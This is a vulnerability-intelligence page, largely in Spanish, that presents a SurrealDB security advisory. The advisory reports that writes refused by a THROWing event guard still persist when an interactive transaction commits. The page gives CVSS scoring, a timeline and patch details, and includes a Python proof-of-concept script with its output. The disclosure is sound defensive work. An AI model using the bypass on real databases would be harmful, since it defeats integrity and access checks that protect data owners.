llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-623G-MHXQ-5HMF

Interactive transactions keep the writes of a statement refused by a THROWing event, and commit persists them

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición18 dDesde la divulgación, 3 nov 2026, 10:50 a. m.
Detección17 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Esta la tienes controlada, confío en ti.Tranqui, pero que no se quede en el olvido.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.0.0
Monitoreo
Detectada +1
3 nov 26
20 nov 26
21 nov 26
3 nov 26
8 nov 26
12 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-623G-MHXQ-5HMF divulgada · CVSS 6.5 (GitHub)
Remediación Parche 4.0.0 surrealdb · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

In an interactive transaction (RPC `begin` / `query` with the transaction id / `commit`), a statement refused by a table event that `THROW`s reports an error, yet its write and the writes the event made before the `THROW` stay in the transaction. A subsequent `commit` persists them. The refused statement behaves as if the event's guard had passed.

Events with `THROW` are commonly used as guards (business rules, ownership or access checks). Any client that can open an interactive transaction and has write access to the table can get past such a guard: run the guarded statement, ignore the error, and commit.

For comparison, all three of these leave nothing persisted:
- the same statement outside a transaction;
- the same statement inside a single-request `BEGIN … COMMIT` batch;
- a statement refused by a field `ASSERT` or a type error inside the same interactive transaction.

Affected versions

Reproduced on SurrealDB 3.3.4 and 3.1.5 (official Docker images, `memory` storage, root session), with the official Python SDK 2.0.0 over WebSocket (RPC `begin`/`commit`). 2.x does not offer interactive transactions over RPC.

Reproduction
import asyncio, sys, uuid
from surrealdb import AsyncSurreal

async def main(url: str) -> None:
    c = AsyncSurreal(url); await c.connect(); await c.signin({"username": "root", "password": "root"})
    db = "v" + uuid.uuid4().hex[:6]
    await c.query_raw(f"DEFINE NAMESPACE IF NOT EXISTS probe; USE NS probe; DEFINE DATABASE {db};"); await c.use("probe", db)
    await c.query("DEFINE TABLE item SCHEMALESS; DEFINE EVENT guard ON item WHEN $event = 'CREATE' AND $after.qty < 0 THEN { CREATE audit SET k = 'before-throw'; THROW 'qty must be >= 0' };")
    await c.query("DEFINE TABLE acct SCHEMAFULL; DEFINE FIELD balance ON acct TYPE int ASSERT $value >= 0;")
    cases = {
        "THROW, commit at once": ["CREATE item:bad SET qty = -1"],
        "THROW, then an unrelated OK statement": ["CREATE item:bad SET qty = -1", "CREATE item:ok SET qty = 1"],
        "ASSERT, then an unrelated OK statement": ["CREATE acct:bad SET balance = -5", "CREATE acct:ok SET balance = 1"],
    }
    for label, stmts in cases.items():
        await c.query("DELETE item; DELETE acct; DELETE audit;")
        t = await c.begin()
        st = []
        for s in stmts:
            r = await c.query_raw(s + ";", txn_id=t); st.append(r["result"][0]["status"])
        await c.commit(t)
        rows = await c.query("SELECT VALUE id FROM item, acct, audit;")
        print(f"{label:40} statuses={st} -> after commit: {sorted(str(x) for x in rows)}")
    await c.close()

asyncio.run(main(sys.argv[1]))   # e.g. ws://localhost:8000/rpc

Output on 3.3.4 (identical on 3.1.5):

THROW, commit at once                    statuses=['ERR'] -> after commit: ['audit:…', 'item:bad']
THROW, then an unrelated OK statement    statuses=['ERR', 'OK'] -> after commit: ['audit:…', 'item:bad', 'item:ok']
ASSERT, then an unrelated OK statement   statuses=['ERR', 'OK'] -> after commit: ['acct:ok']

Expected: `item:bad` and the event's `audit` row are not persisted, as in the `ASSERT` case and outside transactions. Inside the transaction, the refused record is also visible to later statements: an `UPDATE item:bad …` in the same transaction succeeds.

Impact

A guard implemented as a `THROW`ing event can be bypassed through an interactive transaction by anyone allowed to write the table. The guarded record, and any side effects the event wrote before throwing, are persisted, with only an error reported for the statement. Clients that catch the statement's error and commit (a common retry or "best effort" pattern) persist them without meaning to.

Suggested fix

When a statement fails inside an interactive transaction, roll back that statement's writes, including those of its events, as an `ASSERT` failure already does. Alternatively, mark the transaction as failed so that `commit` is refused.

Patches

A patch has been created so that a THROW raised in an event guard rolls back the statement's writes and cannot be committed past within an interactive transaction.

  • Version 4.0.0 and later are not affected by this issue.
References
  • `test(kvs): pin that a THROWing event guard cannot be committed past` (commit `3c6ae8b227`)
Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb< 4.0.0
4.0.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 4.0.0 0 d 4.0.1 no afectada
Versiones corregidas4.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-623g-mhxq-5hmf

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.